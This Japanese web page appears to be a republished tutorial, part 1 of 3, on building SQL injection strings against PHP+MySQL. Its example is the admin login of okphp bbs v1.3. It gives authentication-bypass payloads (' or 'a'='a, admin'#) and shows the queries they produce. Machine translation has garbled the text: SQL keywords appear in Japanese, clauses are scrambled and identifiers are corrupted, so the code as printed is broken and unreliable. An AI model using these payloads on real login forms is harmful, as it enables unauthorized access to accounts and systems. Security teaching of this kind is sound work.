ホームページ  >  記事  >  バックエンド開発  >  SQLインジェクション方法について詳しく解説(1/3)_PHPチュートリアル

SQLインジェクション方法について詳しく解説(1/3)_PHPチュートリアル

WBOY
WBOYオリジナル
2016-07-13 17:09:391031ブラウズ

php チュートリアルと mysql チュートリアル自体のため、php+mysql のインジェクションは、特にインジェクション中のステートメントの構築が難しくなります。この記事では主に okphp bbs v1.3 のいくつかのファイルの簡単な分析を使用します。 、php+mysqlインジェクションステートメントの構築方法についてお話します。この記事があなたのお役に立てれば幸いです。
声明: 記事で言及されているすべての「脆弱性」はテストされておらず、実際には存在しない可能性があります。重要なのは、分析のアイデアと声明の構造です。
2.「脆弱性」分析:
1.admin/login.php インジェクションにより認証バイパスの脆弱性が発生します:
コード:

コード

$conn=sql_connect($dbhost, $dbuser, $dbpstutorialwd, $dbname); $password = md5($password); $q = "username='$username' およびpassword =' の $user_table から id,group_id を選択します$password'"; $res = sql_query($q,$conn); $row = sql_fetch_row($res); $q = "$user_table から id、group_id を選択します (username='$username'、password=' $password)


$username と $password はフィルタリングされないため、簡単にバイパスできます。 (php100中国語ウェブサイト)
select * from $user_table where username='$username' およびpassword='$password' などのステートメントを変更するメソッドは次のとおりです:
構築 1 (論理演算を使用): $username=' または 'a'='a $password=' または 'a'='a

SQL文と同等:

select * from $user_table where username='' または 'a'='a' and passwd='' または 'a'='a'


構築 2 ($password をコメントアウトするには、mysql のコメント ステートメント # # /* を使用します): $username=admin'# (または admin'/*)

つまり、

select * from $user_table where username='admin'#'、password='$password'
同等:

select * from $user_table where username='admin'


admin/login.phpの$qステートメントの$passwordはクエリ前にmd5暗号化されるため、構築1のステートメントではバイパスできません。ここでは構築 2 を使用します:

username='admin'#'、password='$password'"の$user_tableからid、group_idを選択します

以下と同等:

username='admin' の $user_table から id、group_id を選択します


1 2 3

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/629723.html技術記事 php チュートリアルと mysql チュートリアル自体のため、php+mysql の注入は、特に注入中のステートメントの構築が難しくなります。この記事は主に okphp bbs v1.3 から借用しています...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。